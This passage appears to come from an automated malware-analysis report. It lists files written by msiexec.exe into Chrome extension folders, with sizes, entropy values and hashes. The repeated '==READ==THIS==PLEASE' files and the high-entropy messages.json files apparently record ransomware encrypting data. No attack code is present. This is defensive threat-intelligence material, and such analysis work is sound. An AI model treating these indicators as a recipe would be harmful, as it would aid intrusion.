Encrypted:	false
MD5:	3984BF5E8CAABB53CCF5A4233E058B28
SHA1:	E6C4BD3FACD694C8F87FF34DD1240FA8C1FB90D0
SHA-256:	2DD56EDF4D4DBF5C4F5C122D1B3553F74B1C400DC22CF9F93202C07508155F7D
SHA-512:	701C599B6F0934D16CA54D77CFBEC0735B80B86E1BA0669B8E760663F6EF1988691274D63EC046BB91D87BAF1F232044BB0EAD870964BECBB21DF8D6616B373F
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6763310794608355
Encrypted:	false
MD5:	DE388339DAD3E9A1D9B8D65213135975
SHA1:	C43C58728BA1923EAA0A9601A8B2D1E86618817C
SHA-256:	DBB64DC4FD6BE596E30ED340B479D7E17457240D672DC8E41FD2E8DDE8B49F3B
SHA-512:	E74A52545AE659BE3EA4D35B1036404A92F218EAB144A9F2006DDBAC486402C398FDD806C03AD781E428177FBADD46F5220B97EA89FD860D2820330502E453BF
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sv\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sv\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.701829918945572
Encrypted:	false
MD5:	6ED12785B02C1FEC4EE9BBC291CDEADE
SHA1:	AB126354FB3277B05703B01137E45D5C306115BB
SHA-256:	F03789724543564D44996687C2BC9FDCA661597B8B7DE13AC1A19EC61A3494C9
SHA-512:	4BEF49BAF29EDE9BBCE8A053D514E20082EA59A32F90BF76D060178EA56636F6BEB612149518AA01B8E22787C735894AE1664418ED8380392DEA44696E87C2C2
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\th\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\th\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6807096075401455
Encrypted:	false
MD5:	25274588E17EB2779FAD18F45B3763FD
SHA1:	7A312C87EA97A40A2FE43862A9F1443725D9B9FF
SHA-256:	A7337F3F73102C7948F8826E612139F4A8066CCDCC245BB81E948305F09FFBD7
SHA-512:	DD2DBAFF74EE2F5D1FBAB341746296B45DA2F618423E29452E044A6B197428F970DC347FBCF229C3DF7F53D3B3D84202587673B1DE342FCCBF09A8F203BBE937
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\tr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\tr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.608455245575117
Encrypted:	false
MD5:	C01A2AC9CABCCE082D40E8C0755AA94F
SHA1:	9728881ADEEF3E50FA3EED7DA6863C4148A0B7B0
SHA-256:	538B33C89C93C24FF7B4C28EFC03ED47224E5321C73A26C66BDBE9ADE190BA56
SHA-512:	3B76C0CA17EE3DA530617C162120E675CF00C29AB7F0B3ECA5EA8BC90D23A60AD898AB0A4702CAA9664BE9644D3E46BC428D8C88C14207AEF466AB88DCA94B80
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\uk\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\uk\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.648887037843403
Encrypted:	false
MD5:	374A2E70CFA1D24AA473D1A725BF340B
SHA1:	5EC2B88F8A6BF12CF40DDC3FE62B6D0479BB2172
SHA-256:	258B54C67DE1CE87188E0C54BE6B8B6D7C195A242FE345B1D67C011B77163F2F
SHA-512:	BF9923C96BADC65C0A163220B2482A780F6CE70D100D0C21C2955C5E12AD3306B1744DE6A30150DC9D659E9F67B72C1E2A1706E6F4A44EA876E32F9DC60C85D5
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\vi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\vi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.641668822342982
Encrypted:	false
MD5:	6D5D084B322DEE838E7B906E5B4CBF41
SHA1:	CB4383CB242BE4211A2A3FB3DFDFCCDDA56C0221
SHA-256:	84FAA6F88E1AC695766C7F6C4A437E0401951F51AA9BD4E910B0678C4CE342EB
SHA-512:	9FBB412A87286C6B8A9D9C304BDC648376FAB535286EDD20C806854253514B5F335E36A6F112BDE58CB84AD3B710A072763F6E186BBBA0CB4B2FC70393F2A7D7
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\zh_CN\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\zh_CN\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.687736094658359
Encrypted:	false
MD5:	14E95C44E96BB9D1C22BEBE2D1FAC0A5
SHA1:	AE0E5FB8380565A19AB2C9D3B57B846DBB18FD0B
SHA-256:	44D0FA2553A7907496CB214AC9C55802298C8FCA96266E43D1E8EB9BAAD28499
SHA-512:	64786E3783744D448EB5F0324607B336BA68B425D76332616B20B9F6EFEA582209E47485BCF802E6A5B88D478DAFDE7693A2A1D60B9F361D045CD95DAF9F6CFF
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\zh_TW\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\zh_TW\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.671237012829266
Encrypted:	false
MD5:	414DE4BA333C492A1F0E941E27AD7CEA
SHA1:	EB52CD79178D0161A33FC9CEC97AC7BB37378681
SHA-256:	DD6070E0B3A11C6D7BDB52EAA392E77CEB2F749997388BB79DAF8D1D3C741B45
SHA-512:	77CC6358A6D15EE84C040069D749BDD06F703596C67789220412BB55001D54910DEE67D1A555618F0BC7A89AB24FCB3EA11C7C00D68B2E96A95E4EAF8565035A
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\manifest.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.645172416838644
Encrypted:	false
MD5:	FA7C520406A286F55D58146B52B08BB9
SHA1:	32FB355A35ED07DE2D4BDBDDB55BD14D3B1417CD
SHA-256:	BFD01673EFD949E55B3F89A92D342619EA8C4DA7F8E23AADB6E09E346FBFFD46
SHA-512:	42C1B1DF4CE8E5CEA3E3312331E0814697A11EF3B626A3BCFFDCA598FD6B47A702CAC6241B26C95B63501415DA946D6811D9C4E16CEF524B6A56763F3B396873
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\128.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.740627090704985
Encrypted:	false
MD5:	6E86F9806196233E3D86049165B4EE66
SHA1:	15853AA36C6E5DD88A67EB8A76CE41267FCCEDC8
SHA-256:	DDB50C9CBF1ABA3B465A798D030B1372E029879A13ABB8058BF0098BCF82D9C6
SHA-512:	4848B8F1AE9CD4AE5372F1F2AA3211385FA7507278C52B63229C27D980291A5775E2B40F0244C2A98DCDD9817017AAE35CFEDB6E0FAB5F40004BA98A6D2F3068
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ar\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ar\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.735132028563537
Encrypted:	false
MD5:	8BE570B21EAE36D61C499F23A2537093
SHA1:	E2D73A0C842B236162C1A73D246BD71EBCA1D6A9
SHA-256:	623052B30C7A5FDF56357D5DF98CF69BAD0CAF62C5CAB9A2E44D7C65B0E54C87
SHA-512:	FE5BCB6A0302371CE2928A1DA6698263E634F65BADC9282ECFF71BD5EB3EFE60174249227476B40D92868C84A7309D843DB33F9030BC06BBDDE125FECD09E1E1
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\bg\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\bg\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.645756964315753
Encrypted:	false
MD5:	0C0739FC0F1112F875933953C37F375A
SHA1:	5FD79D9F61C8FD7E4ABECAE3F65CD26523678FA1
SHA-256:	67065464822A55381505DCFA2463F05E1F4B1E1AA085C6A6A6C0D85F5EB5EBF6
SHA-512:	90D934F17A828A0D8DCD0C450F6B400220D77F6C12F3E95107B6F0EB334C6C3A3F8CCFC286A22DB4CD409F4F3D16D400B24A31276A2AD505DA7B33E2072C6256
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ca\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ca\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.693038073821194
Encrypted:	false
MD5:	DC5E444EEE09695CDD7F8E67FE72682B
SHA1:	2EE7BF25BA4EB0530EE2C2D0EA1F935560FBBC30
SHA-256:	24706CD9EF1BD18FA3EB0EF6ED9C75687A10F4C0776D669E34E854F721767207
SHA-512:	D459722DDB288EC742664BF9FBCE90258CB590C10AA93B834770E00F770BEB6AB2C7F2E0ECD10037F830B9D303691725795F863A216037038891290B53DD8021
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\cs\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\cs\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.691407668308722
Encrypted:	false
MD5:	6BD0B6E3CBF375D228E58C778299A5EB
SHA1:	96AD8CF4E7D1F089E5EB8D7D4C140ED17D6DD6C3
SHA-256:	1B64530B520CB6EA7A3FB446AAC9E645CF32CFC8141EE066E1A1BCA176E64AB7
SHA-512:	EC14CDA141D710342006756F070A3A73EA5AF4C62341058C4506377CE488B2C1C25ED8119F5AAD553AC1AE4D946013887BA9BA09AB16B668F598EFEF98E631F0
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\da\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\da\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.683693184603436
Encrypted:	false
MD5:	A4EDCECE42F2E1EBB99BDE12666960C9
SHA1:	F5A8A9AAFAEDB5A2AA7A564F6DAB25E953D61C9B
SHA-256:	C4CDE920CBAE189E507DC2D3CD5A41EAAAECE7E87F44B267FD6BA924CA398AA8
SHA-512:	23AB4DEF674A4B4687F21EAA507DAC65C6D94EB8F75F08E59D3A8DB062CE357B195973A9857847E3DDFA9E2F00B321022E57C12399EB2D24C027A57B76BF6E2F
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\de\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\de\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.698315709893663
Encrypted:	false
MD5:	7E21E0ACE21AA126DCE721620294CD10
SHA1:	76AA104AE580D9C926CE3D7C50E9AE9B8E6AAEB2
SHA-256:	019B6215452324FB2AC55302A45A49B118104E1CC927C6467BEA3F5E34B07CDF
SHA-512:	66AC48FD7865CF85945746A2110A4B5CF05AE75103823FA208A44163FE5992B6DE5E9BF4C995CBC931F7335A404FFA63F53DBB72F578ADB83BA43A39EAA15463
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\el\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\el\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.698176288825717
Encrypted:	false
MD5:	F93D452937B0DD7FA6F14B5B3EDABE20
SHA1:	42F7E86932F6F1D5F7017A3D7E95BA5AAE06895B
SHA-256:	B598B480EE4ED7A60D91C4D27B68D61129D52D20B15AC93E047D6BCA9AC99574
SHA-512:	8EC5D1A33613F8AF02C7931CEF0CC5E239D43582D248528FE938F4083E4351748604F52DCEBAFF7A1194DAE2B0D2AACB82A9EB1DD8A2AC2987EAE5482177247F
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\en\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\en\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.619827827974508
Encrypted:	false
MD5:	85A3E4C4B0052636C6DABDCD0FE53E41
SHA1:	344C729FA56B07F70A64DAB08833CF2448B6A018
SHA-256:	5666536634B98300B881E1FC8BD0E2A00CAE447B285B640C4919F55142C2B88E
SHA-512:	3433C1A30F34D8C51DDA2595FBA38FB8D78FA0F8F62A855F936EB0C2EFA6D9CA58CAB55D0C647E936C9DA793D74B4547923723CFB49D9F42FE029DFD01A6B69B
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\es\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\es\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.710486557998417
Encrypted:	false
MD5:	7594028268655BC7DA9417EB1A0BE02F
SHA1:	78CF65BDE64D4E15F21A2F203A4397D5AA238783
SHA-256:	E5B072AFC67025A96826DBDA472DDAFBA4E3BF40099E81B20A0D8247FABF6A14
SHA-512:	40945AA5B8A7A3E9917ED14C1511E98383A96A92CE6C223FB28D60ED614D77D5BB0E950EB411E82FD3C9893F6F2EF95F07713D5B7ACDFC3C97608166E0AD364E
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.687315311339552
Encrypted:	false
MD5:	4B7470E36B437FF598F1CAF589DB00D3
SHA1:	A5217D202AC7EEBE3CCF1F5E39FD9839F88B65ED
SHA-256:	4161F5AEECFEC8AE700513C8C2998760154F49CAE35ED6D3D86E5507468291E8
SHA-512:	F01416E6CBC19C46B7D55F098A1FE3CD09E382C0E7335C8FA362E580C269D4A62F916D1BB363BB08945AE3695AD082B9BC60D756987B978EF30B75FFADF9B4CA
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fil\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fil\messages.json
